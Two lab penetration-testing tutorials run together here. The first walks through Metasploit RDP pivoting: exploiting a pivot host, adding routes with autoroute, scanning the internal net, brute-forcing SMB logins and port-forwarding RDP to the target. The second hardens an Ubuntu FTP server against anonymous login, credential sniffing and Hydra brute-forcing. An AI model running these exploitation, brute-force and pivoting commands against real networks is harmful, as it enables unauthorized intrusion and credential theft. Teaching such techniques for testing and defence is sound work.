RDP Pivoting with Metasploit

In our previous turtorial we had discussed on SSH pivoting and today we are going to discuss RDP pivoting.

Pivoting is technique to get inside an unreachable network with help of pivot (centre point). In simple words it is an attack through which attacker can exploit those system which belongs to different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then attacker will able to target the client system for attack.

Lab Setup requirement:

Attacker machine: Kali Linux

Pivot Machine (server): window operating system with two network interface

Target Machine (client): window 7 (Allow RDP service)

Use exploit MS17-010 or muti handler to hack the pivot machine and bypass its UAC to achieve admin privleges.

Sessions

 Hence if you will count then currently attacker has hold 2 sessions, 1^st for meterpreter shell  and 2^nd for bypass UAC of server.

Check network interface through following command:

Meterpreter> ifconfig

From given image you can observe two networks interface in victim’s system 1^st for IP 192.168.0.27 through which attacker is connected and 2^nd for IP 192.168.100.100 through which clients (targets) are connected.

Since attacker belongs to 192.168.0.1 interface and client belongs to 192.168.100.0 interface therefore it is not possible to directly make attack on client network until unless the attacker acquires same network connection. In order to achieve 192.168.100.0 network attacker need run the post exploitation “autoroute”.

This module manages session routing via an existing Meterpreter session. It enables other modules to ‘pivot’ through a compromised host when connecting to the named NETWORK and SUBMASK. Autoadd will search a session for valid subnets from the routing table and interface list then add routes to them. Default will add a default route so that all TCP/IP traffic not specified in the MSF routing table will be routed through the session when pivoting.

msf > use post/multi/manage/autoroute 

msf post(autoroute) > set session 2

msf post(autoroute) > exploit

Note: If you had not bypass UAC you can use session 1 for post exploit

This Module will perform an ARP scan for a given IP range through a Meterpreter Session.

 use post/windows/gather/arp_scanner

msf post(arp_scanner) > set rhosts 192.168.100.100-110

msf post(arp_scanner) > set session 2

msf post(arp_scanner) > set thread 20

msf post(arp_scanner) > exploit

Here we found a new IP 192.1668.100.103 as shown in given image. Let’s perform TCP port scan for activated services on this machine.

This module Enumerates open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.

use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set ports 445, 3389

msf auxiliary(tcp) > set rhosts 192.168.100.103

msf auxiliary(tcp) > set thread 10

msf auxiliary(tcp) >exploit

From given you can observe port 3389 and port 445 are open and we know that 3389 is used for RDP and 445 is use for SMB.

This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

use auxiliary/scanner/smb/smb_login

msf exploit (smb_login)>set rhost 192.168.100.103

msf exploit (smb_login)>set user_file  /root/Desktop/user.txt

msf exploit (smb_login)>set pass_file /root/Desktop/pass.txt

msf exploit (smb_login)>set stop_on_success true

msf exploit (smb_login)>exploit

From given image you can observe the highlights pentest: 123 has success login.

Now Type following command for port forwarding on localhost.

Meterpreter> portfwd add –l  3389 –p 3389 –r 192.168.100.103

-l: This is a local port to listen on.

-p: The remote port to connect on.

-r:  The remote host address to connect on.

Now type following command to connect RDP client on localhost through port3389

Rdesktop 127.0.0.1:3389

Now it will ask to enter the credential for connecting with RDP client; Enter the combination of username and password you have retrieved from SMB login Exploit.

If you remembered we have retrieved pentest: 123 through smb login exploit which we are using for login.

Wonderful!! We had successfully exploit RDP client.

FTP Penetration Testing in Ubuntu

Security on every layer has become mandatory. Port security always make a difference by securing the network as it helps to avoid receiving or sending packets from unknown devices. Using port security, one can limit the number of MAC addresses on a given port or can specify the only IP address that can be connected. This will make all other packets are restricted. You can apply such security measures on every port. In today’s article, we will learn to apply the said security on FTP port.

Table of Content

·         Introduction to FTP

o   Uses of FTP

o   Working of FTP

·         Penetration Testing on FTP

o   Installation of FTP

o   Anonymous Login

o   Disable FTP_banner

o   Switch Port for FTP Service

o   Sniffing FTP Login credential

o   Use SSL Certificate against Sniffing

o   Stop FTP Brute_Force Attack with Fail2ban

·         Conclusion

Introduction to FTP

FTP is a file transfer protocol, used to transfer files between a network using TCO/IP connections via Port 20/21. It is basically a client-server protocol. As it works on TCP, it requires two communication channels between client and server: a command channel and data channel. The command channel is for controlling the conversation between client and server where as data connection is initiated by server to transfer data.

Uses of FTP

·         An FTP site is a web site where users can easily upload or download specific files.

·         FTP by mail allows users without access to the Internet to access and copy files using anonymous FTP by sending an email message to ftpmail@decwrl.dec.com and putting the word help in the body of the text.

·         FTP Explorer is an FTP client based on Windows 95 file manager (Windows 95 Explorer).

·         An FTP server is a dedicated computer which provides an FTP service. This invites hackers and necessitates security hardware or software such as utilizing usernames, passwords and file access control.

·         An FTP client is a computer application which accesses an FTP server. While doing so, users should block incoming FTP connection attempts using passive mode and should check for viruses on all downloaded files.

Working of FTP

FTP works as just like HTTP and SMB protocols. When the FTP server is configured in a network then a specific folder is defined as shared folder in order to share files. Users can access this file server via FTP. FTP is often authenticated by sign-in protocol; however, FTP server may be configured to accept anonymous as login credentials. But now, its mostly FTP with SSL/TLS.

When transferring files through FTP, user’s machine is called local host machine and is connected to internet. Other machine is called the remote host which has FTP running on it and is too connected to internet. Now, in order to transfer the files, local host machine connects to remote host’s IP. Then user must enter username and password. FTP always provides GUI which makes file transfer user-friendly, here, you can transfer files by drag-and-drop method. Otherwise you can simply use FTP commands for the desired transfer.

Penetration Testing on FTP

Requirements:

·         FTP server: Ubuntu

·         Attacking machine: Kali

·         Client machine: Windows

Installation of FTP

Installation FTP is quite easy. To install FTP, open the terminal in ubuntu as root user and type:

apt install vsftpd

Once FTP is installed use nmap to confirm and to do so, type the following command:

nmap -p21 192.168.1.102

As you can see that FTP is working on port 21.

Anonymous Login

As I have mentioned before, that FTP credentials can be set to anonymous and this is found often on many FTP servers. FTP users may authenticate themselves with a clear-text sign-in protocol, normally in the form of a username and password, but can connect anonymously if the server is configured to allow it. So, let’s see how it will be done by first configuring it anonymous. Open vsftpd.conf using nano or any other text editor. Find “anonymous_enable=NO” statement as shown in image below:

Change NO to YES to enable anonymous as shown here:

Now let’s check it from nmap by using the following command:

nmap -A -p21 192.168.1.102

As the result shown by nmap you can see that port 21 is open and you some details about it to like its version. Now, let’s try and log in FTP using anonymous as our credentials. Now, let’s try and login:

ftp 192.168.1.102

Enter anonymous as username and password as shown in the image below as you will find you in the ftp server.

Disable FTP_banner

Now if you scan ftp from nmap you will its version:

nmap -sV 192.168.1.102

As this visibility of the version can leave you vulnerable to various exploits lets now learn how you will protect yourself by hiding the banner of ftp. For this, again open vsftpd.conf file using any desired text editor.

In the conf file fond the statement “ ftpd_banner=welcome to blah FTP service”. From this statement remove the # symbol as shown in image below :

Now if you again scan from nmap if will hide the banner. Try it by using following command:

nmap -sV -p21 192.168.1.102

Switch Port for FTP Service

Like this you can add another security layer by changing the port of ftp. You can start the the service of ftp on any port you like. Here, we have shifted the fpt port to 5000. For this, find the statement “listen_port=21” in the ftp conf file. Change the port number to 5000, or any other number as you desire, as shown in the image below:

Save the file and restart the service of ftp. Now if you scan from nmap you will find the port is now on 5000. Applying such layer of security helps to confuse attackers.

Sniffing FTP Login credential

By default, the traffic sent to and received from ftp is not encrypted. An attacker can take help of sniffing tools to sniff the data packet traveling between server and client in a network and retrieve credential. And then use them for unauthorized access. As we have discussed above FTP users may authenticate themselves with a clear-text sign-in protocol for username and password.

Similarly, if we capture TCP packet through Wireshark for sniffing FTP credential. So, now try and log in to ftp using following commands:

ftp 192.168.1.102 5000

Give the username and password.

Capture the traffic using Wireshark. Now, in Wireshark, if you follow the TCP stream of the packet, you can see the log in credentials in clear text as shown inn following image:

Use SSL Certificate against Sniffing

So, for this, let’s add another security layer for the problem generating above. The solution for this is creating an SSL certificate. SSL stands for Secure Sockets Layer, the protocol which provides secure, encrypted communications between server and client, this encrypted data packet traveling between server-client networks.

Although an attacker can sniff network data packet but will be not able to read fetched information because entire data will show in the form of ciphertext.

Here administrations need to generate their own SSL certificate for secure authentication. Make the directory where the SSL certificate keys will be stored.

Use the following command to create certificate:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/certificates/vsftpd.pem -out /etc/ssl/certificates/vsftpd.pem

Once the above command is executed, open vsftpd.conf file for changing default setting by adding a few lines at the end of the file. Following are the lines to be added:

rsa_cert_file=/etc/ssl/certificates/vsftpd.pem

rsa_private_key_file=/etc/ssl/certificates/vsftpd.pem

ssl_enable=YES

allow_anon_ssl=NO

force_local_data_ssl=YES

force_local_logins_ssl=YES

ssl_tlsv1=YES

ssl_sslv2=NO

ssl_sslv3=NO

require_ssl_reuse=NO

ssl_ciphers=HIGH

Now let’s ensure whether we can connect to FTP server.

Protocol to: FTP

Encryption To: TSL/SSL Explicit encryption

Hostname: IP of the FTP Server

Port: 21

Username and Password: raj: 123

Now the server will send the certificate to an authorized user click on yes to store certificate and continue the encrypted connecting.

Now, when you will establish connection of FTP as shown in the image below:

All the traffic that is sent and received is encrypted which you can check through Wireshark.  It has also shown below:

Stop FTP Brute_Force Attack with Fail2ban

Hydra is often the tool of choice for bruteforce. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, FTP, HTTP, HTTPS, SMB, several databases, and much more. Now, to bruteforce our ftp server we need to choose a word list. As with any dictionary attack, the wordlist is key.

Run the following command to execute bruteforce :

hydra -L user -P pass 192.168.1.102 ftp

As you can see, using hydra we have log in credentials and so are bruteforce attack is successful. But we can protect our ftp server and important files. To be secure against bruteforce, you can use fail2ban tool.  To get a detailed guide on fail2ban tool read our other article from here. 

Once you have limited the bruteforce attack through fail2ban. You can try and use hydra again, but you will get a negative result as shown in image below:

Another security layer that you can apply is blocking all other IPs and allowing your trusted ones. Now open hosts.allow file from inside /etc to allow the valid user to connect with server securely through specific IP. At the end of text file enter specific IP to whom you want to give permission for establishing a connection as shown in the given image.

It quite important that admin should restrict all IPs other than allowed IP (192.168.0.106) to protect the network from establishing connect from unknown IP.

Open /etc/hosts.deny and specify a list of hosts whom you want don’t to allow access into the system.

Now open configure file of vsftpd and add following lines:

# TCP Wrappers

tcp_wrappers=Yes

Now if you connect from the allowed IP to ftp then you will log in as you can see in the image below :

But it will block other IPs as shown below :

Conclusion

FTP was discovered around four decades earlier. And since then, there have been substantial changes as it has developed a lot over the time. These changes have been related to encryption standards and file transfer functionality